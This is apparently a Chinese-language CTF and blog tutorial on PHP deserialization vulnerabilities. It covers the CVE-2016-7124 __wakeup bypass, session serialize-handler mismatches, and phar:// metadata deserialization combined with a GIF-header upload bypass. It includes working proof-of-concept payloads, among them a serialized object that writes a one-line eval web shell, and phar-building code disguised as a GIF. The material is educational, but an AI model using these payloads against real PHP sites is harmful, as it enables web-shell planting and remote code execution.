0x00 D0g3
为了让大家进入状态,来一道简单的反序列化小题。
题目入口:http://120.79.33.253:9001
页面源码
<?php
error_reporting(0);
include "flag.php";
$KEY = "D0g3!!!";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{
echo "$flag";
}
show_source(__FILE__);
$KEY = "D0g3!!!";
print_r(serialize($KEY));
?str=s:7:"D0g3!!!"
0x01 绕过魔法函数的反序列化漏洞
漏洞编号CVE-2016-7124
魔法函数sleep() 和 wakeup()
php文档中定义__wakeup():
unserialize() 执行时会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup() 方法,预先准备对象需要的资源。
wakeup()经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。
sleep()则相反,是用在序列化一个对象时被调用。
class hodoger{
function __wakeup()
{
echo "hello";
}
}
$a = new hodoger();
$b = serialize($a);
$c = unserialize($b);
echo '<br >'; print_r($b);
echo '<br >'; print_r($c);
漏洞剖析
PHP5 < 5.6.25
PHP7 < 7.0.10
这个漏洞核心:
序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行,比如下面这个类构造:
class hpdoger{
public $a = 'nice to meet u';
//增加一个$a
}
序列化这个类得到的结果:
O:7:"hpdoger":1:{s:1:"a";s:6:"nice to meet u";}
简单解释一下这个序列化字符串:
O代表结构类型为:类,7表示类名长度,接着是类名、属性(成员)个数
大括号内分别是:属性名类型、长度、名称;值类型、长度、值
正常情况下,反序列化一个类得到的结果:
class hodoger{
public $a = 'nice to meet u';
function __destruct()
{
echo 'Do not '.$this->a .PHP_EOL;
}
function __wakeup()
{
echo "hello".PHP_EOL;
}
}
$b = 'O:7:"hodoger":1:{s:1:"a";s:14:"nice to meet u";}';
unserialize($b);
此时析构方法__destruct() 和 __wakeup() 都能够执行。
如果我们把传入的序列化字符串的属性个数更改成大于1的任何数
O:7:"hpdoger":2:{s:1:"a";s:6:"u know";}
得到的结果如图,__wakeup() 没有被执行,但是执行了析构函数。
假如我们的demo是这样的呢?
class A{
var $a = "test";
function __destruct(){
$fp = fopen("D:\phpStudy\PHPTutorial\WWW\test\shell.php","w");
fputs($fp,$this->a);
fclose($fp);
}
function __wakeup()
{
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
}
}
$hpdoger = $_POST['hpdoger'];
$clan = unserialize($hpdoger);
每次反序列化是都会调用__wakeup从而把$a值清空。但是,如果我们绕过wakeup不就能写Shell了?
既然反序列化的内容是可控的,就利用上述的方法绕过wakeup。
poc:
O:1:"A":2:{s:1:"a";s:27:"<?php eval($_POST["hp"]);?>";}
序列化漏洞常见的魔法函数
- construct():当一个类被创建时自动调用
- destruct():当一个类被销毁时自动调用
- invoke():当把一个类当作函数使用时自动调用
- tostring():当把一个类当作字符串使用时自动调用
- wakeup():当调用unserialize()函数时自动调用
- sleep():当调用serialize()函数时自动调用
- __call():当要调用的方法不存在或权限不足时自动调用
0x02 Session反序列化漏洞
Session序列化机制
提到这个漏洞,就得先知道什么叫Session序列化机制。
当session_start()被调用或者php.ini中session.auto_start为1时,PHP内部调用会话管理器,访问用户session被序列化以后,存储到指定目录(默认为/tmp)。
PHP处理器的三种序列化方式:
处理器 | 对应的存储格式 |
php_binary | 键名的长度对应的ASCII字符+键名+经过serialize() 函数反序列处理的值 |
php | 键名+竖线+经过serialize()函数反序列处理的值 |
php_serialize | serialize()函数反序列处理数组方式 |
配置文件php.ini中含有这几个与session存储配置相关的配置项:
session.save_path="" --设置session的存储路径,默认在/tmp
session.auto_start --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler --定义用来序列化/反序列化的处理器名字。默认使用php
一个简单的demo(session.php)认识一下存储过程:
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['hpdoger'] = $_GET['hpdoger'];
访问页面
http://localhost/test/session.php?hpdoger=lover
在session.save_path对应路径下会生成一个文件,名称例如:sess_1ja9n59ssk975tff3r0b2sojd5
因为选择的序列化处理方式为php_serialize,所以是被serialize()函数处理过的$_SESSION[‘hpdoger’]。
存储文件内容:
a:1:{s:7:"hpdoger";s:5:"lover";}
如果选择的序列化处理方式为php,即ini_set('session.serialize_handler','php');
,则存储内容为:
hpdoger|s:5:"lover";
漏洞剖析
选择的处理方式不同,序列化和反序列化的方式亦不同。
如果网站序列化并存储Session与反序列化并读取Session的方式不同,就可能导致漏洞的产生。
这里提供一个demo:
存储Session页面
/*session.php*/
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['hpdoger'] = $_GET['hpdoger'];
?>
可利用页面
/*test.php*/
<?php
ini_set('session.serialize_handler','php');
session_start();
class hpdoger{
var $a;
function __destruct(){
$fp = fopen("D:\wamp\www\exam\shell.php","w");
fputs($fp,$this->a);
fclose($fp);
}
}
?>
/tmp目录下生成的session文件内容:
a:1:{s:7:"hpdoger";s:52:"|O:7:"hpdoger":1:{s:1:"a";s:17:"<?php phpinfo()?>";}";}
再访问test.php时反序列化已存储的session,新的php处理方式会把“|”后的值当作KEY值再serialize(),相当于我们实例化了这个页面的hpdoger类,相当于执行:
$_SESSION['hpdoger'] = new hpdoger();
$_SESSION['hpdoger']->a = '<?php phpinfo()?>';
在指定的目录D:\wamp\www\exam\shell.php中写入内容<?php phpinfo()?>
0x03 Jarvis-OJ PHPINFO【SESSION反序列化】
题目入口:http://web.jarvisoj.com:32784/index.php
0x04 phar伪协议触发php反序列化
漏洞剖析
phar文件会以序列化的形式存储用户自定义的meta-data,
在一些文件操作函数执行的参数可控,参数部分我们利用Phar伪协议,可以不依赖unserialize()直接进行反序列化操作,
在读取phar文件里的数据时反序列化meta-data,达到我们的操控目的。
而在一些上传点,我们可以更改phar的文件头并且修改其后缀名绕过检测,如:test.gif,
里面的meta-data却是我们提前写入的恶意代码,而且可利用的文件操作函数又很多,所以这是一种不错的绕过+执行的方法。
文件上传绕过demo
自己写了个丑陋的代码,只允许gif文件上传(实则有其他方法绕过,这里不赘述),代码部分如下
前端上传
<!DOCTYPE html>
<html>
<head>
<title>test</title>
<meta charset="utf-8">
</head>
<body>
<form action="http://localhost/test/upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="hpdoger">
<input type="submit" name="submit">
</form>
</body>
</html>
后端验证
/*upload.php*/
<?php
/*返回后缀名函数*/
function getExt($filename){
return substr($filename,strripos($filename,'.')+1);
}
/*检测MIME类型是否为gif*/
if($_FILES['hpdoger']['type'] != "image/gif"){
echo "Not allowed !";
exit;
}
else{
$filenameExt = strtolower(getExt($_FILES['hpdoger']['name'])); /*提取后缀名*/
if($filenameExt != 'gif'){
echo "Not gif !";
}
else{
move_uploaded_file($_FILES['hpdoger']['tmp_name'], $_FILES['hpdoger']['name']);
echo "Successfully!";
}
}
?>
代码判断了MIME类型+后缀判断,如下是我测试php文件的两个结果:
直接上传php
抓包更改content-type为 image/gif再次上传
可以看到两次都被拒绝上传,那我们更改phar后缀名再次上传
php环境编译生成一个phar文件,代码如下:
<?php
class not_useful{
var $file = "<?php phpinfo() ?>";
}
@unlink("hpdoger.phar");
$test = new not_useful();
$phar = new Phar("hpdoger.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); // 增加gif文件头
$phar->setMetadata($test);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>
这里实例的类是为后面的demo做铺垫,php文件同目录下生成hpdoger.phar文件,我们更改名称为hpdoger.gif看一下。
gif头、phar识别序列、序列化后的字符串都具备
上传一下看能否成功,成功绕过检测在服务端存储一个hpdoger.gif
利用Phar://伪协议demo
我们已经上传了可解析的phar文件,现在需要找到一个文件操作函数的页面来利用,这里笔者写一个比较鸡肋的页面,目的是还原流程而非真实情况。
代码如下:reapperance.php
<?php
$recieve = $_GET['recieve'];
/*写入文件类操作*/
class not_useful{
var $file;
function __destruct(){
$fp = fopen("D:\phpStudy\PHPTutorial\WWW\test\shell.php","w"); //自定义写入路径
fputs($fp,$this->file);
fclose($fp);
}
file_get_contents($recieve);
?>
$recieve可控,符合我们的利用条件。那我们构造payload:
若执行成功,会将刚才写入meta-data数据里面序列化的类进行反序列化,并且实例了$file成员,导致文件写入,成功写入如下:
各种文件头
类型 | 标识 |
---|---|
JPEG | 头标识ff d8 ,结束标识ff d9 |
PNG | 头标识89 50 4E 47 0D 0A 1A 0A |
GIF | 头标识(6 bytes) 47 49 46 38 39(37) 61 GIF89(7)a |
BMP | 头标识(2 bytes) 42 4D BM |
参考自: